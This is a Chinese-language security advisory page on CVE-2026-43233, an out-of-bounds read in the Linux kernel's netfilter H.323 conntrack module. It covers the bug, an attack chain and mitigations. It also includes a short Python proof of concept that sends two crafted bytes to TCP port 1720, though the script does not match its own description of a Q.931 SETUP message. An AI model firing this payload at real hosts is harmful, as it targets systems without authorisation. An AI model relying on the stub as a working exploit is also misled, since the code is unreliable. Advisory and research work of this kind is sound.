IPBUF安全漏洞报告
English
CVE-2026-43233 CVSS 8.2 高危

CVE-2026-43233 Linux内核nf_conntrack_h323越界读取漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43233
漏洞类型
越界读取 (OOB Read)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNetfilterOOB ReadCVE-2026-43233H.323

漏洞概述

Linux内核netfilter子系统的nf_conntrack_h323模块存在越界读取漏洞。在decode_choice()函数中,由于使用了未初始化的len变量进行边界检查,导致检查失效。攻击者可发送特制Q.931消息触发该漏洞,造成堆缓冲区溢出读取。

技术细节

漏洞位于Linux内核netfilter的nf_conntrack_h323模块中。decode_choice()函数在调用get_len()前,使用初始化为0的len变量执行nf_h323_error_boundary()检查。当数据流刚好消耗完毕时,检查误判通过,随后的get_len()函数会读取缓冲区末尾之外的1-2字节。远程攻击者可通过向端口1720发送包含特定PER编码数据{0x08, 0x00}的Q.931 SETUP消息触发此漏洞,导致信息泄露或潜在的拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者向目标服务器端口1720发送特制的Q.931 SETUP消息。
STEP 2
步骤2
开启nf_conntrack_h323 helper的防火墙拦截并解析数据包。
STEP 3
步骤3
解码器进入decode_choice()路径,因len变量未初始化导致边界检查失效。
STEP 4
步骤4
get_len()函数读取缓冲区外数据,触发堆缓冲区溢出读取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-43233 # Sends a crafted Q.931 SETUP message to port 1720 def send_exploit(target_ip, target_port=1720): # Crafted User-User Information Element with PER-encoded data {0x08, 0x00} # This is a simplified representation of a Q.931 SETUP message payload = bytes([0x08, 0x00]) try: print(f"Sending payload to {target_ip}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(payload) s.close() print("Payload sent successfully.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.1.1" send_exploit(target)

影响范围

Linux Kernel (多个版本,需应用Git补丁修复)

防御指南

临时缓解措施
建议暂时禁用nf_conntrack_h323内核模块,或在防火墙上限制对TCP 1720端口的访问,以减轻被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表